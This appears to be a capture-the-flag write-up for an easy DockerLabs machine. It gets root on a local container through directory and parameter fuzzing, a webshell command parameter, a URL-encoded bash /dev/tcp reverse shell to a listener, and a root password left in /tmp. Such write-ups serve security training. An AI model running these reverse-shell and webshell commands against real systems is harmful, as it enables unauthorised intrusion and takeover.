DockerLabs — https://dockerlabs.es/
- Platform: DockerLabs
- OS: Linux
- Difficulty: Easy
Enumeration
Scan
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Academia de Ingl\xC3\xA9s (Inglis Academi)
|_http-server-header: Apache/2.4.57 (Debian)
HTTP (80)
Index HTML code has a reference to /tmp
<section>
<h2>Contáctanos</h2>
<p>¡Contáctanos hoy mismo para más información sobre nuestros programas de enseñanza de inglés!. Guardo un secretito en /tmp ;)</p>
</section>
/tmp is probably a reference to a internal folder, because the page does not exist.
curl http://172.17.0.2/tmp/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.57 (Debian) Server at 172.17.0.2 Port 80</address>
No robots.txt
❯ curl 172.17.0.2/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.57 (Debian) Server at 172.17.0.2 Port 80</address>
Directory Enumeration
gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 150 -o fuzzingRoot
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/shell.php (Status: 500) [Size: 0]
/warning.html (Status: 200) [Size: 315]
/index.html (Status: 200) [Size: 2510]
/server-status (Status: 403) [Size: 275]
Progress: 452778 / 882232 (51.32%)^C
warning.html shows a hint probably related to shell.php:

shell.php on web browser shows a 500 Internal Server Error:

Looking for parameters for shell.php we found parameter
ffuf -u "http://172.17.0.2/shell.php?FUZZ=ls" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fc 500
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://172.17.0.2/shell.php?FUZZ=ls
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 500
________________________________________________
parameter [Status: 200, Size: 75, Words: 1, Lines: 7, Duration: 12ms]
:: Progress: [6453/6453] :: Job [1/1] :: 3174 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
Exploitation
The webshell works. We can run commands (ls in this case):
❯ curl "http://172.17.0.2/shell.php?parameter=ls"
<pre>clase_ingles.jpg
escuela.jpg
index.html
shell.php
warning.html
</pre>
bash -i from revshells.com works using “URL encode” as value for parameter
Added bash -c as prefix for the reverse shell payload in quotation marks
http://172.17.0.2/shell.php?parameter=bash -c "bash -i >%26 %2Fdev%2Ftcp%2F172.17.0.1%2F8888 0>%261"
Access as www-data
nc -nvlp 8888
listening on [any] 8888 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 60572
bash: cannot set terminal process group (23): Inappropriate ioctl for device
bash: no job control in this shell
www-data@78f4530405a9:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@78f4530405a9:/var/www/html$
Post-exploitation
Enumerating users with a shell
$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
Nothing interesting on web server folder
www-data@78f4530405a9:/var/www/html$ ls -l
total 324
-rw-r--r-- 1 root root 138891 Apr 12 2024 clase_ingles.jpg
-rw-r--r-- 1 root root 180202 Apr 12 2024 escuela.jpg
-rw-r--r-- 1 root root 2510 Apr 12 2024 index.html
-rw-r--r-- 1 root root 76 Apr 12 2024 shell.php
-rw-r--r-- 1 root root 315 Apr 12 2024 warning.html
No SUID binaries or interesting capabilities found:
$ find / -perm -4000 2> /dev/null
/usr/bin/mount
/usr/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chsh
/usr/bin/chfn
www-data@78f4530405a9:/$ getcap -r / 2> /dev/null
www-data@78f4530405a9:/$
/tmp looks interesting (there was a hint related to this on index.html)
www-data@78f4530405a9:/$ ls -la /home
total 8
drwxr-xr-x 2 root root 4096 Jan 28 2024 .
drwxr-xr-x 1 root root 4096 Jan 3 17:24 ..
www-data@78f4530405a9:/$ ls -la /opt
total 8
drwxr-xr-x 2 root root 4096 Apr 8 2024 .
drwxr-xr-x 1 root root 4096 Jan 3 17:24 ..
www-data@78f4530405a9:/$ ls -la /srv
total 8
drwxr-xr-x 2 root root 4096 Apr 8 2024 .
drwxr-xr-x 1 root root 4096 Jan 3 17:24 ..
www-data@78f4530405a9:/$ ls -la /tmp
total 12
drwxrwxrwt 1 root root 4096 Jan 3 17:24 .
drwxr-xr-x 1 root root 4096 Jan 3 17:24 ..
-rw-r--r-- 1 root root 21 Apr 12 2024 .secret.txt
.secret.tx contains a posible root password
$ cat /tmp/.secret.txt
contraseñaderoot123
Root access
www-data@78f4530405a9:/$ su root
Password:
root@78f4530405a9:/#
root@78f4530405a9:/#
root@78f4530405a9:/# id
uid=0(root) gid=0(root) groups=0(root)